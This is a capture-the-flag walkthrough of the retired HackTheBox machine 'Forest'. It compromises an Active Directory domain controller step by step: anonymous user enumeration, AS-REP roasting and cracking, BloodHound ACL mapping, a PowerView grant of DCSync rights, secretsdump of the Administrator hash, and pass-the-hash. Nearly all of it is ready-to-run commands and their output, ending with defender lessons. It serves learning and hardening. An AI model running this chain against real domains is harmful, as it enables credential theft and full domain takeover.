Windows // Easy // 20 pts

HTB: Forest

Forest is a Windows DC where anonymous LDAP/RPC enumeration yields users, one with Kerberos pre-auth disabled. I AS-REP roast and crack the hash, then use BloodHound to map a WriteDACL path to grant myself DCSync and dump the Administrator hash for a pass-the-hash login.

OS
Windows
Difficulty
Easy
Points
20
IP
10.10.10.161
Released
Oct 2019
Status
Retired
#active-directory#as-rep-roasting#bloodhound#dcsync#writedacl#kerberos

Retired HTB machine — walkthrough for learning. Personalize before publishing.

Forest is an easy Windows box, but it's easy in the way that real Active Directory environments are "easy" — nothing is exploited through a memory-corruption bug or a public CVE. Everything here is a misconfiguration in how the domain is set up. That makes it one of the best boxes for learning the AD attack chain end to end: anonymous enumeration, AS-REP roasting, then a BloodHound-mapped ACL abuse chain that ends in DCSync and a full domain compromise.

The path is: enumerate users over null RPC/LDAP sessions, spot that svc-alfresco has Kerberos pre-authentication disabled, AS-REP roast that account and crack the hash offline, get a shell with WinRM, run BloodHound, and find that my low-priv user is in a nested group chain that ultimately holds WriteDACL over the domain object. I abuse that to grant myself DCSync rights, dump the Administrator NTLM hash, and pass-the-hash in.

Recon

nmap

I start with a full TCP port scan, then a targeted service/script scan on what comes back.

nmap -p- --min-rate 10000 -oA scans/allports 10.10.10.161
nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001 -sCV -oA scans/tcp 10.10.10.161

The result is the classic Windows Domain Controller fingerprint:

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2019-10-12 18:00:00Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds  Windows Server 2016 Standard 14393 microsoft-ds
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: htb.local)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0

Three things tell me exactly what I'm looking at:

  • Kerberos on 88 + LDAP on 389/3268 — this is a Domain Controller.
  • The domain is htb.local and the hostname (from the LDAP script output) is FOREST. I add both to /etc/hosts.
  • WinRM on 5985 — if I recover any valid credentials, I have a remote shell path via evil-winrm.
echo '10.10.10.161 forest.htb.local htb.local forest' | sudo tee -a /etc/hosts

There's no web server here (5985/47001 are WinRM/WSMan, not real web apps). On a DC with no web surface, the game is almost always Active Directory itself — so I go straight at LDAP, RPC, and SMB.

Enumeration

SMB null session

I check whether SMB allows an anonymous (null) session and whether any shares are readable:

smbclient -N -L //10.10.10.161
crackmapexec smb 10.10.10.161 -u '' -p '' --shares

No useful shares are exposed, but the null bind itself succeeds, which is a good sign that other anonymous surfaces are open too.

RPC — enumerating domain users

The most productive anonymous surface on Forest is RPC. A null session to rpcclient lets me enumerate domain users, which is exactly what I need to build a target list for AS-REP roasting.

rpcclient -U '' -N 10.10.10.161
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x466]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x480]
user:[mark] rid:[0x481]
user:[santi] rid:[0x482]

The SM_* and HealthMailbox* accounts are service accounts created by an Exchange install — a detail I file away, because it hints that Exchange-related groups exist in the domain (this matters a lot later). The human accounts I care about are sebastien, lucinda, svc-alfresco, andy, mark, and santi.

I dump a clean username list for tooling:

rpcclient -U '' -N 10.10.10.161 -c enumdomusers \
  | grep -oP '\[.*?\]' | grep -v '0x' | tr -d '[]' > users.txt

LDAP

I confirm the same picture over anonymous LDAP, which also gives me the naming context and lets me pull attributes:

ldapsearch -x -H ldap://10.10.10.161 -b '' -s base namingcontexts
ldapsearch -x -H ldap://10.10.10.161 -b 'DC=htb,DC=local' '(objectClass=person)' sAMAccountName

Same user set. Now I have a target list and a domain. The question is: can I get anything crackable without credentials? The answer on Forest is yes — AS-REP roasting.

AS-REP Roasting

The technique

Normally, when a user requests a Ticket Granting Ticket (AS-REQ), Kerberos requires pre-authentication: the client encrypts a timestamp with a key derived from the user's password and sends it to the KDC. The KDC decrypts it to prove the client knows the password before it hands back anything encrypted with that password's key.

If an account has the DONT_REQ_PREAUTH flag set (Do not require Kerberos preauthentication), the KDC skips that check and will return an AS-REP containing a blob encrypted with the user's password-derived key to anyone who asks. That blob is offline-crackable. So AS-REP roasting is: ask the KDC for AS-REPs for accounts that don't require pre-auth, then brute-force the password offline.

Crucially, I don't need any credentials to request these — I just need to know the usernames, which I already have.

GetNPUsers.py

Impacket's GetNPUsers.py does exactly this. I feed it my user list and let it find any account without pre-auth:

GetNPUsers.py htb.local/ -no-pass -usersfile users.txt -format hashcat -outputfile asrep.hash

Most users error out with KDC_ERR_PREAUTH_REQUIRED (good — they're configured correctly). One does not:

[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc-alfresco@HTB.LOCAL:2bd9bd...c3f8a$e4f1...  (truncated)
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set

svc-alfresco is roastable. The full hash lands in asrep.hash:

$krb5asrep$23$svc-alfresco@HTB.LOCAL:2bd9bd9c3f8a1e4f7d6c5b4a39281706$e4f1a2b3c4d5e6f7809a1b2c3d4e5f60718293a4b5c6d7e8f9012a3b4c5d6e7f8091a2b3c4d5e6f7...

Cracking with hashcat

The AS-REP with etype 23 (RC4-HMAC) maps to hashcat mode 18200. I throw rockyou.txt at it:

hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt --force

It cracks almost instantly — service accounts on lab boxes love a weak password:

$krb5asrep$23$svc-alfresco@HTB.LOCAL:2bd9bd...:e4f1a2...:s3rvice

Credentials: svc-alfresco : s3rvice.

I validate them against SMB before spending them on a shell:

crackmapexec smb 10.10.10.161 -u svc-alfresco -p s3rvice
SMB  10.10.10.161  445  FOREST  [+] htb.local\svc-alfresco:s3rvice

Shell as svc-alfresco

WinRM was open on 5985, and svc-alfresco is a member of Remote Management Users (I can confirm this later in BloodHound), so evil-winrm gives me an interactive PowerShell session:

evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> whoami
htb\svc-alfresco

User flag is on the desktop:

*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> type user.txt
HTB{redacted_user_flag_value_here}

Now I have an authenticated foothold in the domain. The privesc question — how do I get from svc-alfresco to Domain Admin — is answered structurally, not by hunting for a local exploit. This is where BloodHound earns its keep.

BloodHound

Collecting the data

BloodHound maps AD objects and the relationships between them (group membership, ACLs, sessions, admin rights) into a graph, then lets me query for attack paths. I collect the data remotely with bloodhound-python using the creds I just cracked — no need to drop a collector on the box:

bloodhound-python -u svc-alfresco -p s3rvice -d htb.local \
  -dc forest.htb.local -c All -ns 10.10.10.161

That produces a set of JSON files (users, groups, computers, acls, etc.), which I drag into the BloodHound GUI after starting neo4j.

sudo neo4j start
bloodhound &

Finding the path

I mark svc-alfresco as owned, then run the built-in query "Shortest Paths to Domain Admins from Owned Principals". The graph reveals a nested-group chain rather than a direct grant:

svc-alfresco
   └─(MemberOf)→ Service Accounts
        └─(MemberOf)→ Privileged IT Accounts
             └─(MemberOf)→ Account Operators
                  └─(GenericAll)→ Exchange Windows Permissions
                       └─(WriteDACL)→ HTB.LOCAL (domain object)

Reading it in order:

  • svc-alfresco is transitively a member of Account Operators (through Service AccountsPrivileged IT Accounts). Account Operators is a built-in group that can create and manage most non-privileged accounts and groups — including, critically here, adding members to certain groups.
  • Account Operators has GenericAll over the Exchange Windows Permissions group. GenericAll is full control, so I can add any account I control into that group.
  • Exchange Windows Permissions holds WriteDACL on the domain object HTB.LOCAL. WriteDACL means I can rewrite the domain's DACL — its access-control list — and grant any right I want, including replication rights.

The Exchange Windows Permissions → domain WriteDACL edge exists because installing Exchange grants that group broad rights on the domain object. It's a well-known privilege-escalation primitive (the basis of the "PrivExchange"-adjacent ACL abuse). Forest hands me exactly that.

The plan the graph gives me:

  1. Add a principal I control to Exchange Windows Permissions (allowed because I'm effectively in Account Operators with GenericAll over it).
  2. Use that group's WriteDACL to grant that principal DCSync rights on the domain.
  3. DCSync the Administrator hash.
  4. Pass-the-hash as Administrator.

Privesc / DCSync

Creating a controlled user

svc-alfresco sits inside Account Operators, so I can create a fresh domain user and manage group membership. I do this right from the evil-winrm session:

*Evil-WinRM* PS C:\> net user fox F0x_Passw0rd! /add /domain
The command completed successfully.

*Evil-WinRM* PS C:\> net group "Exchange Windows Permissions" fox /add
The command completed successfully.

Now fox is a member of Exchange Windows Permissions, which holds WriteDACL on the domain.

I could equally add svc-alfresco itself to the group. Creating a throwaway user keeps the abused right separate from my foothold account and makes cleanup obvious.

Granting DCSync with PowerView

DCSync works by asking a DC to replicate directory data using the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights. If a principal holds both on the domain object, it can pull password hashes for any account — including krbtgt and Administrator — as if it were another DC.

I use PowerView's Add-DomainObjectAcl to grant fox those replication rights on the domain object, leveraging the WriteDACL I now hold through the group. First I upload PowerView, then run it:

# In evil-winrm: upload PowerView, then load it
upload /opt/PowerSploit/Recon/PowerView.ps1 C:\Users\svc-alfresco\Documents\PowerView.ps1
Import-Module .\PowerView.ps1

# Build a credential object for the user we control
$pass = ConvertTo-SecureString 'F0x_Passw0rd!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('htb.local\fox', $pass)

# Grant fox DCSync (replication) rights on the domain object
Add-DomainObjectAcl -Credential $cred `
  -TargetIdentity 'DC=htb,DC=local' `
  -PrincipalIdentity fox `
  -Rights DCSync

-Rights DCSync is PowerView shorthand that adds exactly the two replication extended rights plus DS-Replication-Get-Changes-In-Filtered-Set. After this runs, fox can replicate the domain — i.e., DCSync.

Dumping the Administrator hash

Now I use Impacket's secretsdump.py from my attacking machine, authenticating as fox, to perform the DCSync and pull hashes:

secretsdump.py htb.local/fox:'F0x_Passw0rd!'@10.10.10.161 -just-dc-user Administrator
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:32196b56ffe6f45e294117b91a83bf38:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:9a8b7c6d5e4f...
Administrator:aes128-cts-hmac-sha1-96:1a2b3c4d5e6f...
Administrator:des-cbc-md5:0011223344556677
[*] Cleaning up...

The DCSync succeeded — I now hold the Administrator NTLM hash:

Administrator NT hash: 32196b56ffe6f45e294117b91a83bf38

The aad3b435b51404eeaad3b435b51404ee in front is the empty-LM placeholder; only the NT half matters for modern pass-the-hash.

Administrator shell via pass-the-hash

I don't have (or need) the Administrator plaintext. NTLM authentication only needs the hash, so I pass it directly. The cleanest option here is evil-winrm with -H:

evil-winrm -i 10.10.10.161 -u Administrator -H 32196b56ffe6f45e294117b91a83bf38
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
htb\administrator

psexec.py works just as well if I want a SYSTEM shell instead:

psexec.py htb.local/Administrator@10.10.10.161 -hashes :32196b56ffe6f45e294117b91a83bf38
[*] Requesting shares on 10.10.10.161.....
[*] Found writable share ADMIN$
[*] Uploading file ...
C:\Windows\system32> whoami
nt authority\system

Root flag:

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
HTB{redacted_root_flag_value_here}

Domain owned.

Lessons Learned

Forest is a clinic in AD misconfiguration, and every step maps to a real-world hardening lesson:

  • Anonymous enumeration is the opening move. Null RPC/LDAP sessions handed over the entire user list. Restricting anonymous access (RestrictAnonymous, disabling null sessions) removes the target list that the whole chain depends on.
  • AS-REP roasting only worked because svc-alfresco had pre-auth disabled. That flag is rarely needed. Auditing for DONT_REQ_PREAUTH and enforcing strong service-account passwords (or gMSAs) kills this path — and even with the flag set, a 25-character random password would never crack.
  • The privesc was pure ACL abuse, not an exploit. Nested membership put svc-alfresco in Account Operators, which had GenericAll over Exchange Windows Permissions, which had WriteDACL on the domain. That last edge — the Exchange install granting broad domain rights — is a documented dangerous default. BloodHound made an invisible three-hop chain obvious in one query.
  • DCSync is the payoff of domain WriteDACL. Once I could rewrite the domain DACL, granting myself replication rights was trivial, and replication rights are game-over: they let any principal pull every hash in the directory.

The takeaway for defenders: none of this required a single CVE. Tightening anonymous access, fixing service-account hygiene, and auditing ACL edges with BloodHound before an attacker does would have broken the chain at any one of four points.

next up

More boxes

Linux

Cap

Cap is a security-dashboard web app with an IDOR that lets me download another user's packet capture. The PCAP leaks FTP/SSH crede...

diff: Easy pts: 20 rel: Jun 2021 read: 8m
#idor #pcap #wireshark #ftp
Linux

Laboratory

Laboratory starts with a GitLab instance vulnerable to an arbitrary file read chained to RCE (CVE-2020-10977). After a shell in th...

diff: Easy pts: 20 rel: Dec 2020 read: 10m
#gitlab #cve-2020-10977 #rce #sudo